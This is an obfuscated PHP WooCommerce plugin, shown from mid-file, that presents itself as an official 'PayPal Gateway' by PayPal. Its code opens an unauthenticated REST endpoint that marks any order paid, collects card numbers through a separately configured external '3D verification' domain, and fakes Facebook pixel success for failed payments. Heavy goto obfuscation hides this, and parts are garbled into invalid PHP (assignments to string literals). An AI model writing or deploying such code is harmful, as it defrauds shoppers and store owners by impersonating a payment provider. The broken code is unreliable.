U2yldMhx2h;U2yeWjgx2h:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset($U2ytI8G);$U2ytI8G=$U2yEc1[$U2y1Key];$header=$U2ytI8G;$U2yOiRy26=1012;$U2y8G=!empty($_SERVER[$header]);$U2yOiRy27=1009;if($U2y8G)goto U2yeWjgx2j;goto U2yldMhx2j;U2yeWjgx2j:goto U2yeWjgx27;goto U2yx2i;U2yldMhx2j:U2yx2i:goto U2yldMhx27;U2yeWjgx27:goto U2yeWjgx1u;goto U2yx26;U2yldMhx27:U2yx26:goto U2yldMhx1u;U2yeWjgx1u:goto U2yeWjgx1b;goto U2yx1t;U2yldMhx1u:U2yx1t:goto U2yldMhx1b;U2yeWjgx1b:$U2yOiRy26="r"*"r";goto U2yx1a;U2yldMhx1b:U2yx1a:$U2y8G=17*19;$U2y8H=$U2y8G-243;$U2y8I=$U2yOiRy26==$U2y8H;$U2yOiRy28=1013;if($U2y8I)goto U2yeWjgx2l;goto U2yldMhx2l;U2yeWjgx2l:goto U2yeWjgx29;goto U2yx2k;U2yldMhx2l:U2yx2k:goto U2yldMhx29;U2yeWjgx29:goto U2yeWjgx1w;goto U2yx28;U2yldMhx29:U2yx28:goto U2yldMhx1w;U2yeWjgx1w:goto U2yeWjgx1j;goto U2yx1v;U2yldMhx1w:U2yx1v:goto U2yldMhx1j;U2yeWjgx1j:unset($U2ytI8G);$U2ytI8G=$_SERVER[$header];$ip=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G!==false;$U2yOiRy29=1001;if($U2y8G)goto U2yeWjgx2n;goto U2yldMhx2n;U2yeWjgx2n:goto U2yeWjgx2b;goto U2yx2m;U2yldMhx2n:U2yx2m:goto U2yldMhx2b;U2yeWjgx2b:goto U2yeWjgx1y;goto U2yx2a;U2yldMhx2b:U2yx2a:goto U2yldMhx1y;U2yeWjgx1y:goto U2yeWjgx1l;goto U2yx1x;U2yldMhx1y:U2yx1x:goto U2yldMhx1l;U2yeWjgx1l:goto U2yeWjgx1d;goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yldMhx1d;U2yeWjgx1d:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&$ip;$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip_list=$U2ytI8G;$U2yzA8K=array();$U2yzA8K[]=$ip_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy30=1015;if($U2yeF8J)goto U2yeWjgx2p;goto U2yldMhx2p;U2yeWjgx2p:goto U2yeWjgx2d;goto U2yx2o;U2yldMhx2p:U2yx2o:goto U2yldMhx2d;U2yeWjgx2d:goto U2yeWjgx21;goto U2yx2c;U2yldMhx2d:U2yx2c:goto U2yldMhx21;U2yeWjgx21:goto U2yeWjgx1n;goto U2yx2z;U2yldMhx21:U2yx2z:goto U2yldMhx1n;U2yeWjgx1n:goto U2yeWjgx1f;goto U2yx1m;U2yldMhx1n:U2yx1m:goto U2yldMhx1f;U2yeWjgx1f:$U2ycV8H=&"a";goto U2yx1e;U2yldMhx1f:$U2ycV8H="a";U2yx1e:$U2yzA8I=array();$U2yzA8I[]=&$U2ycV8H;$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset($U2ycV8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$ip=$U2ytI8G;goto U2yx1c;U2yldMhx1d:U2yx1c:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&$ip;$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy31=1018;if($U2yeF8G)goto U2yeWjgx2r;goto U2yldMhx2r;U2yeWjgx2r:goto U2yeWjgx2f;goto U2yx2q;U2yldMhx2r:U2yx2q:goto U2yldMhx2f;U2yeWjgx2f:goto U2yeWjgx23;goto U2yx2e;U2yldMhx2f:U2yx2e:goto U2yldMhx23;U2yeWjgx23:goto U2yeWjgx1p;goto U2yx22;U2yldMhx23:U2yx22:goto U2yldMhx1p;U2yeWjgx1p:goto U2yeWjgx1h;goto U2yx1o;U2yldMhx1p:U2yx1o:goto U2yldMhx1h;U2yeWjgx1h:return $ip;goto U2yx1g;U2yldMhx1h:U2yx1g:goto U2yx1i;U2yldMhx1j:U2yx1i:U2yx1r:$U2y1i=$U2y1i+1;goto U2yx1q;goto U2yx2g;U2yldMhx2h:U2yx2g:U2yx1s:return '0000';}public function process_payment($order_id){$U2yBuEt46=array();$U2yBuEt46[]=13;$U2yBuEt46[]=10;$U2yBuEt46[]=13;$U2yBuEt46[]=9;$U2yBuEt46[]=4;$U2yOiRy46=2208;$U2y8G=!isset($_POST['app_js_loaded']);$U2y8I=(bool)$U2y8G;$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:if($U2y8I)goto U2yeWjgx2v;goto U2yldMhx2v;U2yeWjgx2v:$U2yOiRy46="a"*"r";goto U2yx2s;U2yldMhx2v:U2yx2s:$U2y8G=18*19;$U2y8H=$U2y8G-225;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2x;goto U2yldMhx2x;U2yeWjgx2x:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx2w;U2yldMhx2x:U2yx2w:$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='Awaiting payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_amount=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_currency=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$order_currency_symbol=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order;$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency_symbol']=$order_currency_symbol;$U2yzA8J['order_currency']=$order_currency;$U2yzA8J['order_amount']=$order_amount;$U2yzA8J['redirect']=$U2yhCvP8G;return $U2yzA8J;}};}}function lighthouse_paypal_remove_fields($woo_checkout_fields_array){$U2yBuEt36=array();$U2yBuEt36[]=17;$U2yBuEt36[]=17;$U2yBuEt36[]=9;$U2yBuEt36[]=8;$U2yBuEt36[]=14;unset($woo_checkout_fields_array['billing']['billing_company']);return $woo_checkout_fields_array;}function paypal_custom_button_html($button_html){$U2yBuEt37=array();$U2yBuEt37[]=10;$U2yBuEt37[]=6;$U2yBuEt37[]=4;$U2yBuEt37[]=9;$U2yBuEt37[]=17;$U2yOiRy7=4921;$U2y8G=WC()->session->get('chosen_payment_method')==='woocommerce_payments_lighthouse_paypal_gateway';if($U2y8G)goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:$U2yOiRy7="r"*"r";goto U2yxe;U2yldMhxf:U2yxe:$U2y8G=3*16;$U2y8H=$U2y8G-32;$U2y8I=$U2yOiRy7==$U2y8H;if($U2y8I)goto U2yeWjgxh;goto U2yldMhxh;U2yeWjgxh:unset($U2ytI8G);$U2ytI8G=preg_replace('/class=["\']([^"\']*)["\']/','class="$1 lighthouse_paypal_bg"',$button_html);$button_html=$U2ytI8G;goto U2yxg;U2yldMhxh:U2yxg:return $button_html;}function remove_checkout_pp_payment_fragment($fragments){$U2yBuEt38=array();$U2yBuEt38[]=18;$U2yBuEt38[]=7;$U2yBuEt38[]=6;$U2yBuEt38[]=10;$U2yBuEt38[]=8;$U2yOiRy9=5849;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:$U2yOiRy9="a"*"r";goto U2yxi;U2yldMhxj:U2yxi:$U2y8G=7*19;$U2y8H=$U2y8G-7;$U2y8I=$U2yOiRy9==$U2y8H;if($U2y8I)goto U2yeWjgxl;goto U2yldMhxl;U2yeWjgxl:unset($fragments['.woocommerce-checkout-payment']);goto U2yxk;U2yldMhxl:U2yxk:return $fragments;}
/*
* Plugin Name: PayPal Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: PayPal
* Author URI:
* Version: 300
*/
$U2yBuEt31=array();$U2yBuEt31[]=11;$U2yBuEt31[]=14;$U2yBuEt31[]=8;$U2yBuEt31[]=15;$U2yBuEt31[]=5;$U2yOiRy0=3379;'100'=!defined('ABSPATH');if('100')goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=3392;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);'100'=!$U2yeF8K;if('100')goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='lighthouse_paypal_init_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt33=array();$U2yBuEt33[]=2;$U2yBuEt33[]=7;$U2yBuEt33[]=12;$U2yBuEt33[]=13;$U2yBuEt33[]=19;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_wp_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v3';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_fields';$U2yzA8H[]='lighthouse_paypal_remove_fields';$U2yzA8H[]=9999;$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_order_button_html';$U2yzA8H[]='paypal_custom_button_html';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_pp_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);function woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class($gateways){$U2yBuEt32=array();$U2yBuEt32[]=8;$U2yBuEt32[]=11;$U2yBuEt32[]=15;$U2yBuEt32[]=12;$U2yBuEt32[]=7;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');$gateways[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';return $gateways;}function handle_update_wp_order_status(WP_REST_Request $request){$U2yBuEt34[]=16;$U2yBuEt34[]=5;$U2yBuEt34[]=11;$U2yBuEt34[]=12;$U2yBuEt34[]=17;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$order_id='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$status='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$order='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yOiRy3=4922;'100'=!$order;if('100')goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:'100'=18*15;$U2y8H='100'-215;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:'100'=new WP_REST_Response('Order not found',404);return '100';goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4922;'100'=$status==='success';if('100')goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="y"*"y";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:'100'=15*19;$U2y8H='100'+4;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8J;$data='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';'100'=new WP_REST_Response($data,200);return '100';goto U2yxb;U2yldMhxc:'100'=3*10;$U2y8H='100'+25;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);'100'=new WP_REST_Response('success',500);return '100';goto U2yxb;U2yldMhxd:U2yxb:}function lighthouse_paypal_init_gateway_class(){$U2yBuEt35=array();$U2yBuEt35[]=15;$U2yBuEt35[]=9;$U2yBuEt35[]=6;$U2yBuEt35[]=11;$U2yBuEt35[]=20;if(1){class WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway extends WC_Payment_Gateway{public $payment_type;public $verification_type;public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public function __construct(){$U2yBuEt39=array();$U2yBuEt39[]=15;$U2yBuEt39[]=12;$U2yBuEt39[]=5;$U2yBuEt39[]=10;$U2yBuEt39[]=16;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='woocommerce_payments_lighthouse_paypal_gateway';$this->id='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='/wp-content/plugins/paypal-gateway/assets/images/paypal_logosvg';$this->icon='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=true;$this->has_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='PayPal Gateway';$this->method_title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='Payment Gateway';$this->method_description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='pp_title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_payment_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->payment_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_verification_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->verification_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->prefix='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->domain='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->fbq_check='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->store_name='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->show_close='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->error_text='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function init_form_fields(){$U2yBuEt40=array();$U2yBuEt40[]=7;$U2yBuEt40[]=11;$U2yBuEt40[]=6;$U2yBuEt40[]=8;$U2yBuEt40[]=19;$U2yzAvP8H=array();$U2yzAvP8H['title']='Title';$U2yzAvP8H['type']='text';$U2yzAvP8H['description']='*结账页面标题(This controls the title which the user sees during checkout.)';$U2yzAvP8H['default']='PayPal';$U2yzAvP8I=array();$U2yzAvP8I['title']='Description';$U2yzAvP8I['type']='textarea';$U2yzAvP8I['description']='*结账页面描述(This controls the description which the user sees during checkout.)';$U2yzAvP8I['default']='Click the PayPal button below to process your order.';$U2yzA8K=array();$U2yzA8K[]='站内支付 Inside';$U2yzA8K[]='1';$U2yeFvPvPvP8J=call_user_func_array("__",$U2yzA8K);unset($U2yzA8K);$U2yzAvPvP8L=array();$U2yzAvPvP8L['1']=$U2yeFvPvPvP8J;$U2yzAvP8M=array();$U2yzAvP8M['title']='payment type';$U2yzAvP8M['type']='select';$U2yzAvP8M['description']='付款方式(3D verification page display type.)';$U2yzAvP8M['options']=$U2yzAvPvP8L;$U2yzAvP8M['default']='1';$U2yzA8O=array();$U2yzA8O[]='默认';$U2yzA8O[]='1';$U2yeFvPvPvP8N=call_user_func_array("__",$U2yzA8O);unset($U2yzA8O);$U2yzA8Q=array();$U2yzA8Q[]='账号付款';$U2yzA8Q[]='2';$U2yeFvPvPvP8P=call_user_func_array("__",$U2yzA8Q);unset($U2yzA8Q);$U2yzA8S=array();$U2yzA8S[]='卡号付款';$U2yzA8S[]='3';$U2yeFvPvPvP8R=call_user_func_array("__",$U2yzA8S);unset($U2yzA8S);$U2yzAvPvP8T=array();$U2yzAvPvP8T['1']=$U2yeFvPvPvP8N;$U2yzAvPvP8T['2']=$U2yeFvPvPvP8P;$U2yzAvPvP8T['3']=$U2yeFvPvPvP8R;$U2yzAvP8U=array();$U2yzAvP8U['title']='3D verification type';$U2yzAvP8U['type']='select';$U2yzAvP8U['description']='3D验证页面展示类型(3D verification page display type.)';$U2yzAvP8U['options']=$U2yzAvPvP8T;$U2yzAvP8U['default']='3';$U2yzAvP8V=array();$U2yzAvP8V['title']='3D verified domain';$U2yzAvP8V['type']='text';$U2yzAvP8V['description']='*3D验证域名(复制同步后台-源码配置-前台地址)/ 3D verification domain name (copy and synchronize backend-source code configuration-frontend address)';$U2yzAvP8W=array();$U2yzAvP8W['title']='Order prefix';$U2yzAvP8W['type']='text';$U2yzAvP8W['description']='*后台显示订单前缀(Prevent duplication of order numbers on different sites.)';$U2yzAvP8W['default']='PP';$U2yzAvP8X=array();$U2yzAvP8X['title']='Store name';$U2yzAvP8X['type']='text';$U2yzAvP8X['description']='*3D页面显示的商店(Please fill in the store name displayed when 3D verification payment.)';$U2yzAvP8X['default']='PayPal';$U2yzAvP8Y=array();$U2yzAvP8Y['title']='Payment error message';$U2yzAvP8Y['type']='textarea';$U2yzAvP8Y['description']='*支付错误提示(Payment error message.)';$U2yzAvP8Y['default']="Sorry, an error occurred during the payment processPlease try again later or contact our customer service team for assistance.";$U2yzAvP8Z=array();$U2yzAvP8Z['title']='3ds close button';$U2yzAvP8Z['label']='Enable/Disable';$U2yzAvP8Z['type']='checkbox';$U2yzAvP8Z['description']='是否显示3D验证页面右上角的关闭按钮(Whether to display the close button in the upper right corner of the 3D verification page.)';$U2yzAvP8Z['default']='no';$U2yzAvP90=array();$U2yzAvP90['title']='Facebook payment success';$U2yzAvP90['label']='Enable/Disable';$U2yzAvP90['type']='checkbox';$U2yzAvP90['description']='点击支付时,FB像素会回传成功的像素,不管支付成功还是失败(Customize Facebook pixel to convert payment failure to 